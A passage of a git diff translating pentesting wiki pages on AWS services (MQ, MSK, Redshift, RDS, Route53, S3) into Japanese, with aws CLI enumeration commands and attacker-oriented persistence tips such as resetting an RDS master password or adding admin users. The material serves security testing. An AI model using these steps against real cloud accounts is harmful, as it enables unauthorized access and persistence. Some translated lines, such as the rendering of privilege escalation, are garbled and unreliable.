+RabbitMQは、著名な**メッセージキューイングソフトウェア**であり、_メッセージブローカー_または_キューマネージャー_としても知られています。基本的には、キューが構成されるシステムです。アプリケーションはこれらのキューとインターフェースを持ち、**メッセージを送受信**します。この文脈でのメッセージは、他のアプリケーション（異なるサーバー上の可能性もある）でプロセスを開始するためのコマンドから、単純なテキストメッセージまで、さまざまな情報を運ぶことができます。メッセージは、受信アプリケーションによって取得され処理されるまで、キューマネージャーソフトウェアによって保持されます。AWSは、RabbitMQサーバーのホスティングと管理のための使いやすいソリューションを提供します。 ### AWS - ActiveMQ -Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can: +Apache ActiveMQ®は、その多様性で知られるリーディングオープンソースのJavaベースの**メッセージブローカー**です。複数の業界標準プロトコルをサポートし、さまざまな言語やプラットフォームにわたる広範なクライアント互換性を提供します。ユーザーは以下を行うことができます： -- Connect with clients written in JavaScript, C, C++, Python, .Net, and more. -- Leverage the **AMQP** protocol to integrate applications from different platforms. -- Use **STOMP** over websockets for web application message exchanges. -- Manage IoT devices with **MQTT**. -- Maintain existing **JMS** infrastructure and extend its capabilities. +- JavaScript、C、C++、Python、.Netなどで書かれたクライアントと接続する。 +- **AMQP**プロトコルを活用して異なるプラットフォームのアプリケーションを統合する。 +- ウェブアプリケーションのメッセージ交換のためにウェブソケット上で**STOMP**を使用する。 +- **MQTT**を使用してIoTデバイスを管理する。 +- 既存の**JMS**インフラストラクチャを維持し、その機能を拡張する。 -ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements. - -## Enumeration +ActiveMQの堅牢性と柔軟性は、多様なメッセージング要件に適しています。 +## 列挙 ```bash # List brokers aws mq list-brokers @@ -48,9 +47,8 @@ aws mq list-configurations # Creacte Active MQ user aws mq create-user --broker-id --password --username --console-access ``` - > [!WARNING] -> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this) +> TODO: RabbitMQとActiveMQを内部で列挙する方法、すべてのキューを監視しデータを送信する方法を示してください（方法がわかる場合はPRを送信してください） ## Privesc @@ -66,7 +64,7 @@ aws mq create-user --broker-id --password --username --c ## Persistence -If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges. +RabbitMQウェブコンソールにアクセスするための資格情報がわかっていれば、管理者権限を持つ新しいユーザーを作成できます。 ## References @@ -74,7 +72,3 @@ If you know the credentials to access the RabbitMQ web console, you can create a - [https://activemq.apache.org/](https://activemq.apache.org/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 42c7ca640..da1f30708 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,22 +4,21 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** は、**Apache Kafka** を通じてストリーミングデータを処理するアプリケーションの開発と実行を容易にする完全管理型サービスです。**クラスター**の作成、更新、削除を含む制御プレーン操作は、Amazon MSK によって提供されます。このサービスは、データの生成と消費を含む Apache Kafka の **データプレーン操作** の利用を許可します。これは、既存のアプリケーション、ツール、およびパートナーや **Apache Kafka コミュニティ** からのプラグインとの互換性を確保するために、**Apache Kafka** のオープンソースバージョンで動作し、アプリケーションコードの変更を必要としません。 -In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka. +信頼性の観点から、Amazon MSK は一般的なクラスター障害シナリオを**自動的に検出し回復する**ように設計されており、プロデューサーおよびコンシューマーアプリケーションが最小限の中断でデータの書き込みと読み取りを継続できるようにします。さらに、**置き換えられたブローカーのストレージを再利用しようとすることで、データ複製プロセスを最適化**することを目指しています。これにより、Apache Kafka によって複製する必要のあるデータの量が最小限に抑えられます。 ### **Types** -There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless. +AWS が作成を許可する Kafka クラスターには、プロビジョンドとサーバーレスの 2 種類があります。 -From the point of view of an attacker you need to know that: +攻撃者の観点から知っておくべきことは次のとおりです： -- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports. -- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access. - - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled +- **サーバーレスは直接公開できません**（公開されている IP なしで VPN 内でのみ実行できます）。ただし、**プロビジョンド** は **パブリック IP** を取得するように構成でき（デフォルトではそうではありません）、関連するポートを**公開する**ために **セキュリティグループ** を構成できます。 +- **サーバーレス** は認証方法として **IAM のみをサポート**します。**プロビジョンド** は SASL/SCRAM（**パスワード**）認証、**IAM** 認証、AWS **Certificate** Manager (ACM) 認証、および **未認証** アクセスをサポートします。 +- 未認証アクセスが有効になっている場合、プロビジョンド Kafka を公開することはできないことに注意してください。 ### Enumeration - ```bash #Get clusters aws kafka list-clusters @@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` - -### Kafka IAM Access (in serverless) - +### Kafka IAM アクセス (サーバーレス内) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -75,7 +72,6 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf # Read messages kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning ``` - ### Privesc {{#ref}} @@ -90,14 +86,10 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistence -If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**. +もし**Provisioned Kafka**がある**VPCにアクセスできる**場合、**SASL/SCRAM認証**を使用して**秘密からパスワードを読み取り**、**他の制御されたユーザーにIAM権限を付与**することで、**不正アクセスを有効にする**ことができます（IAMまたはサーバーレスを使用している場合）または**証明書**を使用して持続させることができます。 ## References - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index df5a51a37..ecfa3ac50 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -2,23 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## Baisc Information +## 基本情報 -AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization. +AWS Organizationsは、追加コストをかけずに新しいAWSアカウントを作成することを容易にします。リソースは簡単に割り当てることができ、アカウントは効率的にグループ化され、ガバナンスポリシーは個々のアカウントまたはグループに適用され、組織内の管理と制御が強化されます。 -Key Points: +重要なポイント： -- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges. -- **Resource Allocation**: It simplifies the process of allocating resources across the accounts. -- **Account Grouping**: Accounts can be grouped together, making management more streamlined. -- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization. +- **新しいアカウントの作成**: AWS Organizationsは、追加料金なしで新しいAWSアカウントを作成することを可能にします。 +- **リソースの割り当て**: アカウント間でリソースを割り当てるプロセスを簡素化します。 +- **アカウントのグループ化**: アカウントをまとめて管理をより効率的にします。 +- **ガバナンスポリシー**: アカウントまたはアカウントのグループにポリシーを適用し、組織全体のコンプライアンスとガバナンスを確保します。 -You can find more information in: +詳細情報は以下で確認できます： {{#ref}} ../aws-basic-information/ {{#endref}} - ```bash # Get Org aws organizations describe-organization @@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y ## You need the permission iam:GetAccountSummary aws iam get-account-summary ``` - -## References +## 参考文献 - https://aws.amazon.com/organizations/ {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md index d5cb84f1d..d0ef6bad7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md @@ -4,25 +4,17 @@ ## Directconnect -Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network). - +**企業のプライベートネットワークをAWSに接続することを可能にします**（これにより、EC2インスタンスを侵害し、企業ネットワークにアクセスすることができます）。 ``` aws directconnect describe-connections aws directconnect describe-interconnects aws directconnect describe-virtual-gateways aws directconnect describe-virtual-interfaces ``` +## サポート -## Support - -In AWS you can access current and previous support cases via the API - +AWSでは、APIを介して現在および過去のサポートケースにアクセスできます。 ``` aws support describe-cases --include-resolved-cases ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 7ae94d5d6..c9750f661 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,46 +4,43 @@ ## Amazon Redshift -Redshift is a fully managed service that can scale up to over a petabyte in size, which is used as a **data warehouse for big data solutions**. Using Redshift clusters, you are able to run analytics against your datasets using fast, SQL-based query tools and business intelligence applications to gather greater understanding of vision for your business. +Redshiftは、**ビッグデータソリューションのためのデータウェアハウス**として使用される、ペタバイト以上のサイズにスケールアップできる完全管理型サービスです。Redshiftクラスターを使用すると、高速なSQLベースのクエリツールやビジネスインテリジェンスアプリケーションを使用してデータセットに対して分析を実行し、ビジネスのビジョンをより深く理解することができます。 -**Redshift offers encryption at rest using a four-tired hierarchy of encryption keys using either KMS or CloudHSM to manage the top tier of keys**. **When encryption is enabled for your cluster, it can't be disable and vice versa**. When you have an unencrypted cluster, it can't be encrypted. +**Redshiftは、KMSまたはCloudHSMを使用して、最上位のキーを管理する4層の暗号化キーの階層を使用して、静止時の暗号化を提供します**。**クラスターの暗号化が有効になっている場合、それを無効にすることはできず、その逆も同様です**。暗号化されていないクラスターは、暗号化することができません。 -Encryption for your cluster can only happen during its creation, and once encrypted, the data, metadata, and any snapshots are also encrypted. The tiering level of encryption keys are as follows, **tier one is the master key, tier two is the cluster encryption key, the CEK, tier three, the database encryption key, the DEK, and finally tier four, the data encryption keys themselves**. +クラスターの暗号化は、その作成中にのみ行うことができ、一度暗号化されると、データ、メタデータ、およびスナップショットも暗号化されます。暗号化キーの階層レベルは次のとおりです。**層1はマスターキー、層2はクラスター暗号化キー（CEK）、層3はデータベース暗号化キー（DEK）、最後に層4はデータ暗号化キー自体です**。 ### KMS -During the creation of your cluster, you can either select the **default KMS key** for Redshift or select your **own CMK**, which gives you more flexibility over the control of the key, specifically from an auditable perspective. +クラスターの作成中に、Redshiftの**デフォルトKMSキー**を選択するか、**独自のCMK**を選択することができ、特に監査可能な観点からキーの制御に対してより柔軟性を持つことができます。 -The default KMS key for Redshift is automatically created by Redshift the first time the key option is selected and used, and it is fully managed by AWS. +RedshiftのデフォルトKMSキーは、キーオプションが初めて選択され使用されるときに自動的に作成され、AWSによって完全に管理されます。 -This KMS key is then encrypted with the CMK master key, tier one. This encrypted KMS data key is then used as the cluster encryption key, the CEK, tier two. This CEK is then sent by KMS to Redshift where it is stored separately from the cluster. Redshift then sends this encrypted CEK to the cluster over a secure channel where it is stored in memory. +このKMSキーは、CMKマスターキー（層1）で暗号化されます。この暗号化されたKMSデータキーは、クラスター暗号化キー（CEK、層2）として使用されます。このCEKはKMSによってRedshiftに送信され、クラスターとは別に保存されます。Redshiftはこの暗号化されたCEKを安全なチャネルを介してクラスターに送信し、メモリに保存します。 -Redshift then requests KMS to decrypt the CEK, tier two. This decrypted CEK is then also stored in memory. Redshift then creates a random database encryption key, the DEK, tier three, and loads that into the memory of the cluster. The decrypted CEK in memory then encrypts the DEK, which is also stored in memory. +RedshiftはKMSにCEK（層2）の復号を要求します。この復号されたCEKもメモリに保存されます。Redshiftはランダムなデータベース暗号化キー（DEK、層3）を作成し、それをクラスターのメモリにロードします。メモリ内の復号されたCEKはDEKを暗号化し、これもメモリに保存されます。 -This encrypted DEK is then sent over a secure channel and stored in Redshift separately from the cluster. Both the CEK and the DEK are now stored in memory of the cluster both in an encrypted and decrypted form. The decrypted DEK is then used to encrypt data keys, tier four, that are randomly generated by Redshift for each data block in the database. +この暗号化されたDEKは、安全なチャネルを介して送信され、Redshiftにクラスターとは別に保存されます。CEKとDEKは、暗号化された形式と復号された形式の両方で、クラスターのメモリに保存されています。復号されたDEKは、Redshiftによってデータベース内の各データブロックのためにランダムに生成されたデータキー（層4）を暗号化するために使用されます。 -You can use AWS Trusted Advisor to monitor the configuration of your Amazon S3 buckets and ensure that bucket logging is enabled, which can be useful for performing security audits and tracking usage patterns in S3. +AWS Trusted Advisorを使用して、Amazon S3バケットの構成を監視し、バケットロギングが有効になっていることを確認できます。これは、セキュリティ監査を実施し、S3の使用パターンを追跡するのに役立ちます。 ### CloudHSM
-Using Redshift with CloudHSM +CloudHSMを使用したRedshift -When working with CloudHSM to perform your encryption, firstly you must set up a trusted connection between your HSM client and Redshift while using client and server certificates. +CloudHSMを使用して暗号化を行う場合、まずHSMクライアントとRedshiftの間に信頼できる接続を設定する必要があります。この接続は、HSMクライアントとRedshiftクラスター間で暗号化キーを送信するための安全な通信を提供するために必要です。ランダムに生成されたプライベートおよびパブリックキーのペアを使用して、Redshiftは公開クライアント証明書を作成し、これを暗号化してRedshiftに保存します。これをダウンロードしてHSMクライアントに登録し、正しいHSMパーティションに割り当てる必要があります。 -This connection is required to provide secure communications, allowing encryption keys to be sent between your HSM client and your Redshift clusters. Using a randomly generated private and public key pair, Redshift creates a public client certificate, which is encrypted and stored by Redshift. This must be downloaded and registered to your HSM client, and assigned to the correct HSM partition. +次に、HSMクライアントの次の詳細を使用してRedshiftを構成する必要があります：HSMのIPアドレス、HSMパーティション名、HSMパーティションパスワード、およびCloudHSMによって内部マスターキーを使用して暗号化された公開HSMサーバー証明書。この情報が提供されると、Redshiftは接続して開発パーティションにアクセスできることを確認し、検証します。 -You must then configure Redshift with the following details of your HSM client: the HSM IP address, the HSM partition name, the HSM partition password, and the public HSM server certificate, which is encrypted by CloudHSM using an internal master key. Once this information has been provided, Redshift will confirm and verify that it can connect and access development partition. +内部のセキュリティポリシーやガバナンスコントロールがキーのローテーションを適用する必要があると規定している場合、Redshiftを使用して暗号化されたクラスターの暗号化キーをローテーションすることが可能ですが、キーのローテーションプロセス中はクラスターが非常に短い時間利用できなくなることに注意する必要があります。そのため、必要なときや、キーが侵害された可能性があると感じたときにのみキーをローテーションするのが最善です。 -If your internal security policies or governance controls dictate that you must apply key rotation, then this is possible with Redshift enabling you to rotate encryption keys for encrypted clusters, however, you do need to be aware that during the key rotation process, it will make a cluster unavailable for a very short period of time, and so it's best to only rotate keys as and when you need to, or if you feel they may have been compromised. - -During the rotation, Redshift will rotate the CEK for your cluster and for any backups of that cluster. It will rotate a DEK for the cluster but it's not possible to rotate a DEK for the snapshots stored in S3 that have been encrypted using the DEK. It will put the cluster into a state of 'rotating keys' until the process is completed when the status will return to 'available'. +ローテーション中、RedshiftはクラスターのCEKとそのバックアップのCEKをローテーションします。クラスターのDEKはローテーションされますが、DEKを使用して暗号化されたS3に保存されたスナップショットのDEKをローテーションすることはできません。プロセスが完了するまで、クラスターは「キーをローテーション中」の状態になり、その後ステータスは「利用可能」に戻ります。
### Enumeration - ```bash # Get clusters aws redshift describe-clusters @@ -82,7 +79,6 @@ aws redshift describe-scheduled-actions # The redshift instance must be publicly available (not by default), the sg need to allow inbounds connections to the port and you need creds psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U admin -d dev -p 5439 ``` - ## Privesc {{#ref}} @@ -91,13 +87,9 @@ psql -h redshift-cluster-1.sdflju3jdfkfg.us-east-1.redshift.amazonaws.com -U adm ## Persistence -The following actions allow to grant access to other AWS accounts to the cluster: +次のアクションにより、クラスタへの他のAWSアカウントへのアクセスを付与できます： - [authorize-endpoint-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-endpoint-access.html) - [authorize-snapshot-access](https://docs.aws.amazon.com/cli/latest/reference/redshift/authorize-snapshot-access.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index 473369403..5d0aeb22a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -2,76 +2,75 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -The **Relational Database Service (RDS)** offered by AWS is designed to streamline the deployment, operation, and scaling of a **relational database in the cloud**. This service offers the advantages of cost efficiency and scalability while automating labor-intensive tasks like hardware provisioning, database configuration, patching, and backups. +AWSが提供する**リレーショナルデータベースサービス（RDS）**は、**クラウド内のリレーショナルデータベースの展開、運用、スケーリングを簡素化する**ことを目的としています。このサービスは、コスト効率とスケーラビリティの利点を提供し、ハードウェアのプロビジョニング、データベースの構成、パッチ適用、バックアップなどの労働集約的なタスクを自動化します。 -AWS RDS supports various widely-used relational database engines including MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server, and Amazon Aurora, with compatibility for both MySQL and PostgreSQL. +AWS RDSは、MySQL、PostgreSQL、MariaDB、Oracle Database、Microsoft SQL Server、Amazon Auroraなど、広く使用されているさまざまなリレーショナルデータベースエンジンをサポートしており、MySQLとPostgreSQLの両方に互換性があります。 -Key features of RDS include: +RDSの主な機能は以下の通りです： -- **Management of database instances** is simplified. -- Creation of **read replicas** to enhance read performance. -- Configuration of **multi-Availability Zone (AZ) deployments** to ensure high availability and failover mechanisms. -- **Integration** with other AWS services, such as: - - AWS Identity and Access Management (**IAM**) for robust access control. - - AWS **CloudWatch** for comprehensive monitoring and metrics. - - AWS Key Management Service (**KMS**) for ensuring encryption at rest. +- **データベースインスタンスの管理**が簡素化されています。 +- 読み取り性能を向上させるための**リードレプリカ**の作成。 +- 高可用性とフェイルオーバー機構を確保するための**マルチアベイラビリティゾーン（AZ）デプロイメント**の構成。 +- 他のAWSサービスとの**統合**、例えば： + - AWSアイデンティティおよびアクセス管理（**IAM**）による堅牢なアクセス制御。 + - AWS **CloudWatch**による包括的な監視とメトリクス。 + - AWSキー管理サービス（**KMS**）による静止データの暗号化の確保。 -## Credentials +## 認証情報 -When creating the DB cluster the master **username** can be configured (**`admin`** by default). To generate the password of this user you can: +DBクラスターを作成する際、マスター**ユーザー名**は設定可能です（デフォルトは**`admin`**）。このユーザーのパスワードを生成するには、以下の方法があります： -- **Indicate** a **password** yourself -- Tell RDS to **auto generate** it -- Tell RDS to manage it in **AWS Secret Manager** encrypted with a KMS key +- **自分で**パスワードを指定する +- RDSに**自動生成**させる +- RDSに**AWS Secret Manager**でKMSキーで暗号化して管理させる
-### Authentication +### 認証 -There are 3 types of authentication options, but using the **master password is always allowed**: +認証オプションは3種類ありますが、**マスターパスワードの使用は常に許可されています**：
-### Public Access & VPC +### 公開アクセスとVPC -By default **no public access is granted** to the databases, however it **could be granted**. Therefore, by default only machines from the same VPC will be able to access it if the selected **security group** (are stored in EC2 SG)allows it. +デフォルトでは**データベースに対する公開アクセスは付与されていません**が、**付与される可能性があります**。したがって、デフォルトでは、選択した**セキュリティグループ**（EC2 SGに保存されている）が許可している場合にのみ、同じVPC内のマシンがアクセスできます。 -Instead of exposing a DB instance, it’s possible to create a **RDS Proxy** which **improves** the **scalability** & **availability** of the DB cluster. +DBインスタンスを公開する代わりに、**RDSプロキシ**を作成することが可能で、これによりDBクラスターの**スケーラビリティ**と**可用性**が向上します。 -Moreover, the **database port can be modified** also. +さらに、**データベースポートも変更可能**です。 -### Encryption +### 暗号化 -**Encryption is enabled by default** using a AWS managed key (a CMK could be chosen instead). +**暗号化はデフォルトで有効**になっており、AWS管理キーを使用します（代わりにCMKを選択することも可能です）。 -By enabling your encryption, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**.\ -It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +暗号化を有効にすることで、**ストレージ、スナップショット、リードレプリカ、およびバックアップの静止データの暗号化が有効になります**。この暗号化を管理するためのキーは**KMS**を使用して発行できます。\ +データベースが作成された後にこのレベルの暗号化を追加することはできません。**作成時に行う必要があります**。 -However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. +ただし、**暗号化されていないデータベースを暗号化するための回避策があります**。暗号化されていないデータベースのスナップショットを作成し、そのスナップショットの暗号化されたコピーを作成し、その暗号化されたスナップショットを使用して新しいデータベースを作成し、最後にデータベースが暗号化されます。 -#### Transparent Data Encryption (TDE) +#### 透過的データ暗号化（TDE） -Alongside the encryption capabilities inherent to RDS at the application level, RDS also supports **additional platform-level encryption mechanisms** to safeguard data at rest. This includes **Transparent Data Encryption (TDE)** for Oracle and SQL Server. However, it's crucial to note that while TDE enhances security by encrypting data at rest, it may also **affect database performance**. This performance impact is especially noticeable when used in conjunction with MySQL cryptographic functions or Microsoft Transact-SQL cryptographic functions. +RDSに内在する暗号化機能に加えて、RDSは静止データを保護するための**追加のプラットフォームレベルの暗号化メカニズム**もサポートしています。これには、OracleおよびSQL Server用の**透過的データ暗号化（TDE）**が含まれます。ただし、TDEは静止データを暗号化することでセキュリティを強化しますが、**データベースのパフォーマンスに影響を与える可能性がある**ことに注意が必要です。このパフォーマンスへの影響は、MySQLの暗号化関数やMicrosoft Transact-SQLの暗号化関数と併用した場合に特に顕著です。 -To utilize TDE, certain preliminary steps are required: +TDEを利用するには、いくつかの前提条件が必要です： -1. **Option Group Association**: - - The database must be associated with an option group. Option groups serve as containers for settings and features, facilitating database management, including security enhancements. - - However, it's important to note that option groups are only available for specific database engines and versions. -2. **Inclusion of TDE in Option Group**: - - Once associated with an option group, the Oracle Transparent Data Encryption option needs to be included in that group. - - It's essential to recognize that once the TDE option is added to an option group, it becomes a permanent fixture and cannot be removed. -3. **TDE Encryption Modes**: - - TDE offers two distinct encryption modes: - - **TDE Tablespace Encryption**: This mode encrypts entire tables, providing a broader scope of data protection. - - **TDE Column Encryption**: This mode focuses on encrypting specific, individual elements within the database, allowing for more granular control over what data is encrypted. +1. **オプショングループの関連付け**： + - データベースはオプショングループに関連付けられている必要があります。オプショングループは、設定や機能のコンテナとして機能し、セキュリティの強化を含むデータベース管理を容易にします。 + - ただし、オプショングループは特定のデータベースエンジンとバージョンにのみ利用可能であることに注意が必要です。 +2. **オプショングループへのTDEの含有**： + - オプショングループに関連付けられた後、Oracleの透過的データ暗号化オプションをそのグループに含める必要があります。 + - TDEオプションがオプショングループに追加されると、それは永久的なものであり、削除することはできません。 +3. **TDE暗号化モード**： + - TDEは2つの異なる暗号化モードを提供します： + - **TDEテーブルスペース暗号化**：このモードは、全体のテーブルを暗号化し、より広範なデータ保護を提供します。 + - **TDEカラム暗号化**：このモードは、データベース内の特定の個別要素を暗号化することに焦点を当て、どのデータが暗号化されるかをより細かく制御できます。 -Understanding these prerequisites and the operational intricacies of TDE is crucial for effectively implementing and managing encryption within RDS, ensuring both data security and compliance with necessary standards. - -### Enumeration +これらの前提条件とTDEの運用の複雑さを理解することは、RDS内での暗号化の効果的な実装と管理において重要であり、データのセキュリティと必要な基準への準拠を確保します。 +### 列挙 ```bash # Clusters info ## Get Endpoints, username, port, iam auth enabled, attached roles, SG @@ -106,41 +105,36 @@ aws rds describe-db-proxy-targets ## reset credentials of MasterUsername aws rds modify-db-instance --db-instance-identifier --master-user-password --apply-immediately ``` - -### Unauthenticated Access +### 認証されていないアクセス {{#ref}} ../aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md {{#endref}} -### Privesc +### 権限昇格 {{#ref}} ../aws-privilege-escalation/aws-rds-privesc.md {{#endref}} -### Post Exploitation +### ポストエクスプロイト {{#ref}} ../aws-post-exploitation/aws-rds-post-exploitation.md {{#endref}} -### Persistence +### 永続性 {{#ref}} ../aws-persistence/aws-rds-persistence.md {{#endref}} -### SQL Injection +### SQLインジェクション -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +DynamoDBデータに**SQL構文**でアクセスする方法があるため、典型的な**SQLインジェクションも可能です**。 {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index c37002eb7..c0beb3700 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -4,16 +4,15 @@ ## Route 53 -Amazon Route 53 is a cloud **Domain Name System (DNS)** web service.\ -You can create https, http and tcp **health checks for web pages** via Route53. +Amazon Route 53は、クラウド**ドメインネームシステム（DNS）**ウェブサービスです。\ +Route53を介して、https、http、およびtcpの**ウェブページ用のヘルスチェック**を作成できます。 -### IP-based routing +### IPベースのルーティング -This is useful to tune your DNS routing to make the best DNS routing decisions for your end users.\ -IP-based routing offers you the additional ability to **optimize routing based on specific knowledge of your customer base**. - -### Enumeration +これは、エンドユーザーにとって最適なDNSルーティングの決定を行うために、DNSルーティングを調整するのに役立ちます。\ +IPベースのルーティングは、**顧客基盤に関する特定の知識に基づいてルーティングを最適化する**追加の能力を提供します。 +### 列挙 ```bash aws route53 list-hosted-zones # Get domains aws route53 get-hosted-zone --id @@ -21,15 +20,10 @@ aws route53 list-resource-record-sets --hosted-zone-id # Get al aws route53 list-health-checks aws route53 list-traffic-policies ``` - -### Privesc +### プライベートエスカレーション {{#ref}} ../aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 3133c0eac..fe24c91e5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -4,144 +4,137 @@ ## S3 -Amazon S3 is a service that allows you **store big amounts of data**. +Amazon S3は、**大量のデータを保存する**ことを可能にするサービスです。 -Amazon S3 provides multiple options to achieve the **protection** of data at REST. The options include **Permission** (Policy), **Encryption** (Client and Server Side), **Bucket Versioning** and **MFA** **based delete**. The **user can enable** any of these options to achieve data protection. **Data replication** is an internal facility by AWS where **S3 automatically replicates each object across all the Availability Zones** and the organization need not enable it in this case. +Amazon S3は、データの**保護**を実現するための複数のオプションを提供します。オプションには、**権限**（ポリシー）、**暗号化**（クライアントおよびサーバーサイド）、**バケットバージョニング**、および**MFA** **ベースの削除**が含まれます。**ユーザーはこれらのオプションのいずれかを有効にしてデータ保護を実現できます**。**データレプリケーション**は、AWSによる内部機能であり、**S3は自動的に各オブジェクトをすべてのアベイラビリティゾーンにレプリケートします**。この場合、組織はそれを有効にする必要はありません。 -With resource-based permissions, you can define permissions for sub-directories of your bucket separately. +リソースベースの権限を使用すると、バケットのサブディレクトリに対して個別に権限を定義できます。 -### Bucket Versioning and MFA based delete +### バケットバージョニングとMFAベースの削除 -When bucket versioning is enabled, any action that tries to alter a file inside a file will generate a new version of the file, keeping also the previous content of the same. Therefore, it won't overwrite its content. +バケットバージョニングが有効になっている場合、ファイル内のファイルを変更しようとするアクションは、新しいバージョンのファイルを生成し、同時に以前の内容も保持します。したがって、内容が上書きされることはありません。 -Moreover, MFA based delete will prevent versions of file in the S3 bucket from being deleted and also Bucket Versioning from being disabled, so an attacker won't be able to alter these files. +さらに、MFAベースの削除は、S3バケット内のファイルのバージョンが削除されるのを防ぎ、バケットバージョニングが無効になるのを防ぐため、攻撃者はこれらのファイルを変更することができません。 -### S3 Access logs +### S3アクセスログ -It's possible to **enable S3 access login** (which by default is 